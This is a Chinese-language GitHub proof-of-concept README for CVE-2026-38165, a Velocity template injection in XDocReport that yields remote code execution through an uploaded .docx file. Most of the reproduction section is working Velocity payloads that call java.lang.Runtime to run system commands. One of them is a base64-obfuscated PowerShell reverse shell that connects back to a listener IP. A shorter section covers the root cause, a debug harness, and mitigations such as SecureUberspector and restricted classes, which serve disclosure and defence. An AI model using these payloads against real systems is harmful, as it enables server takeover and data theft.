AT190510-Cuong/CVE-2026-38165-SSTI-

GitHub: AT190510-Cuong/CVE-2026-38165-SSTI-

这是一个针对 XDocReport 中 Velocity 模板注入漏洞(CVE-2026-38165)的 PoC 仓库,展示了通过上传恶意 DOCX 文件实现远程代码执行的攻击链。

Stars: 0 | Forks: 0

# CVE-2026-38165 (SSTI Velocity) # XDocReport 中的服务端模板注入 (SSTI) 漏洞允许通过 Apache Velocity 引擎执行远程代码 ## 漏洞定义 漏洞概述 - 服务端模板注入 (SSTI) 是一种 Web 安全漏洞,允许攻击者将恶意代码注入到内容管理系统 (CMS) 和 Web 框架使用的模板中,旨在发起远程攻击、获取敏感信息或执行入侵系统的活动。 - SSTI 是注入漏洞(如 SQL Injection、XSS 等)的一种变体,黑客利用模板系统来实现远程恶意代码部署。当 SSTI 攻击成功执行时,黑客可以在服务端服务器上执行自己的代码,使他们能够发起远程攻击,例如收集敏感信息、执行系统入侵活动以及访问未经授权的资源。 - SSTI 漏洞通常是由于使用了不安全的模板系统,或者在将输入参数插入模板之前未对其进行检查和处理而引起的。如果 SSTI 攻击成功执行,后果可能非常严重,并给受攻击的组织造成巨大损失。 业务影响 - SSTI 漏洞可能导致许多严重后果,包括: - 执行恶意代码:攻击者可以利用此漏洞在服务器上执行恶意代码,从而使攻击者能够窃取数据、在系统上执行非法操作,甚至完全控制服务器。 - 泄露敏感信息:SSTI 可能允许攻击者读取、更改或删除服务器上的文件。如果这些文件包含敏感信息(如账号和密码),攻击者可以轻易地泄露这些信息。 - 威胁或欺骗用户的攻击:攻击者可以利用 SSTI 进行威胁或欺骗用户的攻击,方法是通过更改网站内容或添加伪造的自定义按钮。如果用户点击这些按钮,攻击者可能会窃取用户信息或在他们的计算机上安装恶意软件。 ## 严重程度 CRITICAL ![image](https://hackmd.io/_uploads/HJhmScWZ-l.png) ## 描述与影响 fr.opensagres.xdocreport.template.velocity 在 OpenSAGRES XDocReport 使用 velocity 引擎处理 DOCX 模板时发现了一个服务端模板注入 (SSTI) 漏洞。在某些配置下,精心构造的模板会导致远程代码执行 (RCE)。 人事管理网站允许用户向系统上传 ``.docx`` 文档文件。在处理过程中,应用程序使用 velocity 模板引擎(位于文件中)来渲染内容,而没有对输入内容进行任何控制或过滤机制。 该漏洞允许攻击者将恶意表达式注入到 .docx 文件(模板)中,从而导致服务器上的远程代码执行 (RCE),并可能被利用来窃取信息或夺取系统控制权。 ## 受影响组件 fr.opensagres.xdocreport.template.velocity — XDocReport (versions =< 2.1.0). ## 根本原因分析 `https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java` ![image](https://hackmd.io/_uploads/HytQVd9Cgx.png) velocityEngine.evaluate(...) 是 Apache Velocity 的标准/“默认”方法,用于使用 Context 从 Reader(或从 String)评估(evaluate)模板并写入 Writer。它执行 VTL (Velocity Template Language) 语法,与 Template.merge(...) 相同 ### evaluate 与 Template.merge 的实际区别 - evaluate:从 Reader/String 解析 -> 当模板是 dynamic/untrusted 时很方便。 - getTemplate(...).merge(...):加载已被 resource loader 处理过的模板(caching、encoding 等),然后 merge。就执行 VTL 的能力而言,两者执行的表达式相同;区别主要在于加载模板的位置/模式。 ## 复现步骤 1. 用户上传内部包含以下 payload 的 ``.docx`` 文件: ![image](https://hackmd.io/_uploads/SkM0MQtRlx.png) ``` #set($x="abc") #set($str=$x.getClass().forName("java.lang.String")) #set($cha=$x.getClass().forName("java.lang.Character")) #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")) $r.waitFor() #set($out=$r.getInputStream()) #set($result="") #foreach($i in [1..$out.available()]) #set($result = $result + $str.valueOf($cha.toChars($out.read()))) #end $result ``` ![image](https://hackmd.io/_uploads/SJlyXQYRlx.png) 2. 发现系统命令成功执行 ![image](https://hackmd.io/_uploads/Byh1mmY0xl.png) 3. 与以下 payload 类似: ``` #set($x="abc") #set($str=$x.getClass().forName("java.lang.String")) #set($cha=$x.getClass().forName("java.lang.Character")) #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:")) $r.waitFor() #set($out=$r.getInputStream()) #set($result="") #foreach($i in [1..$out.available()]) #set($result = $result + $str.valueOf($cha.toChars($out.read()))) #end $result ``` ![image](https://hackmd.io/_uploads/SkPpm7t0gl.png) ![image](https://hackmd.io/_uploads/ryfAmXYAel.png) ![image](https://hackmd.io/_uploads/ryR0m7FAee.png) 4. 类似地 ``` #set($x="abc") #set($str=$x.getClass().forName("java.lang.String")) #set($cha=$x.getClass().forName("java.lang.Character")) #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")) $r.waitFor() #set($out=$r.getInputStream()) #set($result="") #foreach($i in [1..$out.available()]) #set($result = $result + $str.valueOf($cha.toChars($out.read()))) #end $result ``` ![image](https://hackmd.io/_uploads/S1Hf4XK0lx.png) ![image](https://hackmd.io/_uploads/Byv-N7KCgl.png) 5. 将影响提升至 RCE - 监听机器是 wsl,ip 地址为 `172.26.208.130` ![image](https://hackmd.io/_uploads/By1gvQYRll.png) - 使用以下 payload 进行利用: ``` #set($x="abc") #set($str=$x.getClass().forName("java.lang.String")) #set($cha=$x.getClass().forName("java.lang.Character")) #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")) $r.waitFor() #set($out=$r.getInputStream()) #set($result="") #foreach($i in [1..$out.available()]) #set($result = $result + $str.valueOf($cha.toChars($out.read()))) #end $result ``` ![image](https://hackmd.io/_uploads/HyOFEQFRgx.png) - 将 ``.docx`` 文件交由 xdocreport 处理 ![image](https://hackmd.io/_uploads/rJ0PEmt0le.png) - 发现 wsl 机器上捕获到了返回的 shell ![image](https://hackmd.io/_uploads/rk4DEQY0ll.png) ## 解决方案 - https://github.com/opensagres/xdocreport/pull/723 ### 阻止在模板中进行危险的 reflection 访问。 ``` velocityEngineProperties.setProperty( "runtime.introspector.uberspect", "org.apache.velocity.util.introspection.SecureUberspector" ); ``` Apache Velocity 的 SecureUberspector 类是一个 sandbox introspector。 SecureUberspector 将 block: - java.lang.Runtime - java.lang.ClassLoader - java.lang.Process ### 被阻止的 class 列表 ``` velocityEngineProperties.setProperty( "introspector.restrict.classes", "java.lang.Class, java.lang.ClassLoader, java.lang.Process, java.lang.Runtime, java.lang.System, java.lang.Thread" ); ``` ### 阻止 package reflection ``` velocityEngineProperties.setProperty( "introspector.restrict.packages", "java.lang.reflect" ); ``` Block: - java.lang.reflect.Method - java.lang.reflect.Field ## 配置 debug 环境 - 在 Main.java 文件中 ``` package org.example; import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind; import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream; public class Main { public static void main(String[] args) { try { // Đọc file đầu vào chứa biểu thức Velocity File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào InputStream input = new FileInputStream(docxTemplate); // Load template sử dụng Velocity IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity); // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập IContext context = report.createContext(); // Xuất ra file mới OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx")); report.process(context, out); System.out.println("✅ Đã tạo file result.docx thành công."); } catch (Exception e) { System.err.println("❌ Lỗi xử lý file:"); e.printStackTrace(); } } } ``` - 需要导入的库 ``` 4.0.0 org.example vcs1 1.0-SNAPSHOT 18 18 UTF-8 fr.opensagres.xdocreport fr.opensagres.xdocreport.template.freemarker 2.1.0 fr.opensagres.xdocreport fr.opensagres.xdocreport.template.velocity 2.1.0 fr.opensagres.xdocreport fr.opensagres.xdocreport.document.docx 2.0.3 ``` ## Debug 分析 source sink - report.process(context, out) — 这是模板被渲染/写入文件的点 ![image](https://hackmd.io/_uploads/rkoHg_50xe.png) ![image](https://hackmd.io/_uploads/SkqUe_qRle.png) ![image](https://hackmd.io/_uploads/H19wx_5Cxx.png) ![image](https://hackmd.io/_uploads/BJfue_cCex.png) ![image](https://hackmd.io/_uploads/S1yKeO90ex.png) ![image](https://hackmd.io/_uploads/rJOKxOqCxg.png) ![image](https://hackmd.io/_uploads/S1ecx_50xx.png) ![image](https://hackmd.io/_uploads/rktjeO90xe.png) ![image](https://hackmd.io/_uploads/rJQnxd9Ree.png) ![image](https://hackmd.io/_uploads/S1j3x_c0gx.png) ![image](https://hackmd.io/_uploads/rkuI-u9Cel.png) ![image](https://hackmd.io/_uploads/BJTFbu9Clg.png) ![image](https://hackmd.io/_uploads/ByWEf_cRxx.png) ![image](https://hackmd.io/_uploads/Hk1ofO50xx.png) ![image](https://hackmd.io/_uploads/BypizO9Rgx.png) ## 文档 - https://drive.google.com/drive/folders/1pLguRIVrqyXcy1jE35nW-wAvBR0sHb7x?usp=drive_link
标签:Apache Velocity, CVE-2026-38165, Go语言工具, JS文件枚举, SSTI, XDocReport, 编程工具, 远程代码执行